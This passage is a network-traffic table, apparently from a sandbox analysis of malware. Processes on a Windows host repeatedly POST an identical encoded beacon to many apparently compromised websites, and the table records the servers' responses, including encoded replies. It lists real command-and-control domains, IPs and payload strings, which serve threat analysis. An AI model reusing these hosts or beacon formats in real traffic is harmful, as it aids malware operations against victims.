Oct 4, 2021 16:03:25.108347893 CEST	7353	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:25 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
277	192.168.2.3	50117	67.227.144.24	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:25.175767899 CEST	7354	OUT	POST /n1n3Sh4NSO08/KBBCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: aulaintelimundo.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:25.445380926 CEST	7355	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:25 GMT Server: Apache X-Powered-By: PHP/7.2.34 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Cache-Control: max-age=600 Expires: Mon, 04 Oct 2021 14:13:25 GMT Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
278	192.168.2.3	50118	192.185.113.204	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:25.456592083 CEST	7355	OUT	POST /7fTwg0V7/LhIABRY7BSM2CBEuQn12eWR6endleGV/ HTTP/1.1 Host: streamline-trade.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:25.631942034 CEST	7356	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:25 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
279	192.168.2.3	50119	185.146.22.232	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:25.676162958 CEST	7356	OUT	POST /IvyhnWs8j/eCcMPD8NeSd1LSw+Hi1GenN5Yn59cmV+YXg= HTTP/1.1 Host: muwatin.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:26.069046974 CEST	7358	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 x-powered-by: PHP/7.4.23 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:04:11 GMT server: LiteSpeed strict-transport-security: max-age=63072000; includeSubDomains x-frame-options: SAMEORIGIN x-content-type-options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49781	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:24.897769928 CEST	1086	OUT	POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:25.366281986 CEST	1087	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:24 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXpzeUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
280	192.168.2.3	50120	51.222.139.54	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:25.989922047 CEST	7357	OUT	POST /hWo6FObvrdp/H0N6dX1le310YXlkeA== HTTP/1.1 Host: sologicgroup.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:26.219330072 CEST	7358	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:26 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
281	192.168.2.3	50121	185.58.73.28	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:26.330248117 CEST	7359	OUT	POST /a9TmwEDR/IxkBLygdGQ4pey95Ji4HDnk8NSYMBS04fAAnQn12eWR6endleGV/ HTTP/1.1 Host: nkp.hr Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:26.723398924 CEST	7360	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.2.3	50123	192.185.46.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:26.976871014 CEST	7361	OUT	POST /gnYxifRY/IBoBKXoKIgo2ORkuGHUOKiU7HC0bCTMvRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: pedroaros.cl Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:27.118366957 CEST	7365	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:27 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.2.3	50124	103.125.80.58	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:27.528229952 CEST	7368	OUT	POST /Y3kzp0WtE0/PQwlJSU8JC8lO31DenV9ZXt9dGF5ZHg= HTTP/1.1 Host: kvrassociates.net Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:28.251718044 CEST	7371	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 0 date: Mon, 04 Oct 2021 14:03:28 GMT server: LiteSpeed

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.2.3	50125	192.254.235.244	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:27.762244940 CEST	7370	OUT	POST /IfpAV6qS/PB4BBQR4cg87IiF8cgVGenN5Yn59cmV+YXg= HTTP/1.1 Host: baetrading.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:27.963845015 CEST	7371	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:27 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.2.3	50126	166.62.10.34	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:28.391904116 CEST	7372	OUT	POST /oHbAKuM0/fQEdNBwFeEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: ditrpshop.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:29.006699085 CEST	7373	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:28 GMT Server: Apache X-Powered-By: PHP/5.6.40 Upgrade: h2,h2c Connection: Upgrade Content-Length: 0 Vary: Accept-Encoding,User-Agent Content-Type: text/html; charset=UTF-8 Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 4e 6f 74 69 63 65 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 69 6e 64 65 78 3a 20 69 73 5f 64 65 62 75 67 20 69 6e 20 3c 62 3e 2f 68 6f 6d 65 2f 6b 67 72 31 71 6a 67 6b 6d 32 72 68 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 64 69 74 72 70 73 68 6f 70 2e 69 6e 2f 6f 48 62 41 4b 75 4d 30 2f 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 32 3c 2f 62 3e 3c 62 72 20 2f 3e 0a Data Ascii: <br /><b>Notice</b>: Undefined index: is_debug in <b>/home/kgr1qjgkm2rh/public_html/ditrpshop.in/oHbAKuM0/index.php</b> on line <b>2</b><br />

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.2.3	50127	165.227.90.171	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:28.651227951 CEST	7372	OUT	POST /4ByNgaVdId6/KX85G344OQ07N0J7cn5henxzYn1leQ== HTTP/1.1 Host: marianaleyton.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.2.3	50128	199.193.116.170	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:29.316425085 CEST	7374	OUT	POST /eJDLM6siEv/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: profitshub.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:29.553647995 CEST	7374	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:29 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.2.3	50129	50.87.147.76	80	C:\Windows\System32\loaddll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:29.599621058 CEST	7375	OUT	POST /s6ImD3DAJs/DXoYDyNyJB8oKiEHLBYdJykoGEZ6c3lifn1yZX5heA== HTTP/1.1 Host: surveillantfire.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:29.793736935 CEST	7376	IN	HTTP/1.1 406 Not Acceptable Date: Mon, 04 Oct 2021 14:03:29 GMT Server: Apache Content-Length: 226 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 41 63 63 65 70 74 61 62 6c 65 21 3c 2f 68 31 3e 3c 70 3e 41 6e 20 61 70 70 72 6f 70 72 69 61 74 65 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 54 68 69 73 20 65 72 72 6f 72 20 77 61 73 20 67 65 6e 65 72 61 74 65 64 20 62 79 20 4d 6f 64 5f 53 65 63 75 72 69 74 79 2e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.3	50130	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:03:29.944453955 CEST	7376	OUT	POST /lBawcxb5/GCYaJQk6DgYpLX8iLDQuHBIzPzcieQoPJ3sSE0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:03:30.426837921 CEST	7378	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:03:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 68 36 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXh6fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49782	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:25.195910931 CEST	1087	OUT	POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:25.686084986 CEST	1089	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:25 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 7a 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 